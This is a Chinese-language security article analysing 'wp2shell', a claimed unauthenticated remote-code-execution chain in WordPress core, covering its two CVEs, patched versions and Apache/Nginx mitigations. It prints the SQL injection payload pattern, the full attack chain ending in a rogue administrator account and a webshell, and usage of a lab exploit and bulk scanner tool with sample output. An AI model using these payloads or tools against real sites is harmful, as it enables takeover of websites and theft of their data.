导语:WordPress官方于2026年7月紧急发布安全更新,修补了一个足以让整个WordPress生态震动的漏洞链——wp2shell。该漏洞链由两个CVE串联而成,攻击者无需任何认证,只需发送一个HTTP请求即可在默认配置的WordPress站点上执行任意代码。据估计,国内数万个WordPress站点处于受影响的阴影之下。
一、漏洞概述
1.1 漏洞档案
wp2shell是一个精心设计的预认证(pre-authentication)RCE漏洞链,由安全研究人员Adam Kues(Assetnote/Searchlight Cyber)和 Mustafa Can İPEKÇİ(nukedirex)联合发现并公开。漏洞链涉及两个独立CVE:
| CVE编号 | 组件 | 漏洞类型 | CVSS评分 |
|---|---|---|---|
| CVE-2026-60137 | WP_Query::author__not_in | SQL注入(CWE-89) | 9.1(高危) |
| CVE-2026-63030 | REST /batch/v1 route confusion | 路由混淆( CWE-436) | 7.5(高危) |
受影响版本:
- WordPress 6.9.0 ~ 6.9.4
- WordPress 7.0.0 ~ 7.0.1
- 注:CVE-2026-60137(SQLi)单独影响范围更广,覆盖 6.8.0 ~ 6.8.5
修复版本:WordPress 6.8.6 / 6.9.5 / 7.0.2
1.2 为什么这个漏洞如此可怕
在网络安全领域,预认证RCE(无需登录即可执行代码)的漏洞评级向来是”严重”。而wp2shell的特殊之处在于它的攻击面极广——这不是某个插件或主题的漏洞,而是WordPress核心本身的缺陷。
这意味着:
- 全球约43%的网站基于WordPress构建,受影响站点以百万计
- 攻击无需任何账号、不需要管理员权限,甚至不需要知道站点用户名
- 默认安装的WordPress即可被拿下,不需要任何额外配置
二、技术分析
2.1 路由混淆:REST批处理接口的解析冲突
第一个环节是CVE-2026-63030——REST API的路由混淆漏洞。
WordPress的REST API中有一个 /wp-json/batch/v1 批处理接口,用于批量执行多个REST请求。问题出在双层嵌套的批处理请求上:
GET /wp-json/batch/v1
配合特定的请求结构,会导致WordPress的路由匹配逻辑出现混乱——$matches 和 $validation 参数发生不同步,使得本应在不同上下文(posts、widgets等)实践的路由被错误地匹配到其他处理器上。

具体来说,当发送一个精心构造的批处理请求时,原本访问 /wp/v2/widgets 路由会意外地在 posts::get_items() 的上下文中执行,从而触发了后续的SQL注入。
2.2 SQL注入:author__not_in的字符串拼接
第二个环节是CVE-2026-60137——WP_Query类中 author__not_in 参数的SQL注入。
在WordPress的查询构建逻辑中,author__not_in 参数直接被拼接入SQL语句而未经过滤:
SELECT * FROM wp_posts WHERE ... AND post_author NOT IN (1) AND 1=0 UNION ALL SELECT <inject>-- -)
攻击者利用这个注入点可以实现:
- 完整数据库读取:admin密码哈希、wp_options配置、所有用户数据
- 通过UNION ALL注入伪造的行:将恶意的WP_Post记录”插入”到查询结果集中
关键在于,per_page=-1 这个参数会让WP_Query在处理时跳过某些安全检查——WP_Query将-1视为”无限制”,导致 $limits 为空,split_the_query 逻辑被绕过,UNION的列就能完美匹配wp_posts表的结构。
2.3 从读到写:oEmbed缓存的妙用
仅仅有SQL注入只能读取数据,但攻击者的目标不止于此。wp2shell链的高明之处在于将只读的SQL注入转化为写入操作——这需要利用WordPress的oEmbed缓存机制。
oEmbed是WordPress用于嵌入外部媒体内容的系统。当WordPress渲染带有 短代码的帖子时,它会尝试获取并缓存该URL的元数据。关键点在于:这个缓存过程会在数据库中真实创建一条 wp_posts 记录。
攻击者利用这一特性:
- 通过SQL注入UNION SELECT”伪造”带有
的WP_Post记录 - 当WordPress渲染这些伪造记录时,oEmbed系统会将其作为真实内容处理
- WordPress向攻击者控制的URL发起请求,获取oEmbed数据并写入真实的wp_posts行(oembed_cache类型)
这就是wp2shell链的精妙之处——把一个只读的SQL注入变成了可控的数据库写入。
2.4 权限提升与重入:利用WordPress自身机制提权
拥有了写入能力后,攻击者需要进一步获取管理员权限。wp2shell链的最后一步利用了WordPress的changeset(自定义修改集)和parse_request重入机制。
攻击流程:
- 通过oEmbed缓存写入伪造的
wp_customize_changeset记录(user_id指向真实管理员) - 创建伪造的
post_type=request记录,形成循环依赖 - 在同一个批处理请求中,WordPress在admin上下文中重新进入parse_request
- 此时
current_user_can('create_users')检查通过——因为changeset绑定了管理员身份 - 在同一请求中执行
POST /wp/v2/users,成功创建一个新的管理员账户
整个过程仅需一个HTTP请求,无需认证,无需预热。
三、完整利用链
wp2shell的完整利用路径可以用下图概括:
Step 1: 路由混淆
GET /wp-json/batch/v1 (双层嵌套)
↓
/wp/v2/widgets → posts::get_items()
↓
Step 2: SQL注入(UNION SELECT伪造行)
author__not_in = "1) AND 1=0 UNION ALL SELECT <23 cols> -- -"
↓
Step 3: oEmbed写入(只读→可写)
伪造 <url> → 真实 wp_posts (oembed_cache)
↓
Step 4: Changeset + Re-entry 提权
伪造 wp_customize_changeset (user_id=1) → admin上下文
↓
Step 5: 创建管理员
POST /wp/v2/users in same batch → w2s_... :W2s!... (admin)
↓
Step 6: RCE
登录 → 上传插件webshell → 执行命令 → 自毁清理
四、POC演示
GitHub仓库 dinosn/wp2shell-lab 提供了完整的Docker实验环境和一个非破坏性的检测脚本。以下是核心用法:
4.1 环境搭建
# 克隆仓库
git clone https://github.com/dinosn/wp2shell-lab.git
cd wp2shell-lab
# 启动漏洞环境(WordPress 6.9.4)
make up
# 检测漏洞
make check
输出示例:
[VULNERABLE] http://localhost:8093 (WordPress 6.9.4, affected-full-chain)
[active=fired fast=0.02s slow=4.03s delta=4.01s]
4.2 完整利用
# 执行完整RCE利用(创建管理员 + webshell + 执行命令)
make exploit
输出示例:
[+] vulnerable (blind SQLi: 0.020s / 4.020s)
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [14, 15, 16]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!... (w2s_...@wp2shell.local)
[*] logging in, deploying webshell, executing command ...
[+] RCE output:
uid=33(www-data) gid=33(www-groups) groups=33(www-data)
4.3 Python检测脚本
# 单目标检测(非破坏性)
python3 wp2shell_check.py https://your-site.example
# 批量扫描
python3 wp2shell_check.py -f sites.txt -t 20 --json > results.json
# 通过代理
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080
# 执行RCE(需要--authorized标记)
python3 wp2shell_check.py http://127.0.0.1:8093 -c "id"
4.4 脚本参数说明
| 参数 | 说明 |
|---|---|
-c CMD | 预认证RCE,执行指定命令 |
--proof | 只读证据(@@version + current_user()) |
-f FILE | 批量扫描文件 |
-t N | 并发线程数(默认10) |
--sleep N | 注入延迟(默认4秒) |
--route | 路由模式(auto/rest-route/wp-json) |
--proxy | HTTP代理 |
--authorized | 标记为授权测试 |
状态返回值:
vulnerable— 活跃确认漏洞affected_version— 版本在受影响范围内但检查未触发not_vulnerable— 检查阴性且版本不在受影响范围
五、影响评估
5.1 为何这是”核弹级”漏洞
WordPress的自动更新机制”forced auto-updates”已经为这次漏洞启用,但鉴于WordPress在全球网站中的占比,仍然有大量站点未及时更新。考虑到:
- WordPress市场份额约43%,以亿计站点
- wp2shell影响所有默认安装的WordPress
- 无需插件、无需特殊配置
- 攻击效率高,单请求即可RCE
攻击者完全可以在短时间内扫描并批量拿下大量WordPress站点。
5.2 受影响行业
任何使用WordPress建站的行业都可能受影响,尤其:
- 新闻媒体/博客:内容管理系统
- 企业官网:对外展示门户
- 电商站:WooCommerce等插件
- 政府/教育机构:WordPress也广泛用于政府官网和学术站点
六、防御方案
6.1 立即行动
最紧急的修复:升级到WordPress 6.9.5 / 7.0.2 / 6.8.6。
# 通过WordPress后台自动更新
# 或手动下载:https://wordpress.org/download/
# 验证版本
grep "wp_version" wp-includes/version.php
6.2 临时缓解措施
如果无法立即升级,可以考虑以下临时方案:
# Apache .htaccess 规则(阻止批处理路由)
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-json/batch/v1 [OR]
RewriteCond %{QUERY_STRING} rest_route=/batch/v1
RewriteRule ^ - [F,L]
</IfModule>
# Nginx 配置
location ~- /wp-json/batch/v1 {
return 403;
}
location ~* ?.*rest_route=/batch/v1 {
return 403;
}
6.3 长期安全建议
- 启用自动更新:WordPress 5.6+支持自动后台更新,建议开启
- 限制REST API访问:通过插件限制未认证用户访问REST API
- Web应用防火墙(WAF):部署WAF规则检测异常批处理请求
- 监控:关注WordPress安全军火库的更新,及时打补丁
- 最小权限原则:数据库用户避免使用FILE权限
- 定期安全审计:使用wpscan等工具定期扫描WordPress站点
七、总结
wp2shell漏洞链再次证明了一个铁律:没有攻不破的系统,只有不够聪明的攻击者。WordPress核心中存在多年的SQL注入和路由处理逻辑漏洞,被安全研究人员巧妙地串联起来,实现了一个”单请求即可RCE”的完美攻击链。
从技术角度,这个漏洞链展示了几个值得深入研究的高阶攻防技巧:
- 路由混淆:利用REST API批处理的双层嵌套结构制造解析冲突
- 只读→可写:通过oEmbed缓存机制将SQL注入从读操作转化为写操作
- 上下文重入:利用changeset和parse_request机制实现权限提升
对于防御者而言,这个漏洞的教训很清楚:及时打补丁是最低成本的安全投入。WordPress官方已经推送了强制自动更新,受影响的站点应该立即响应。
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容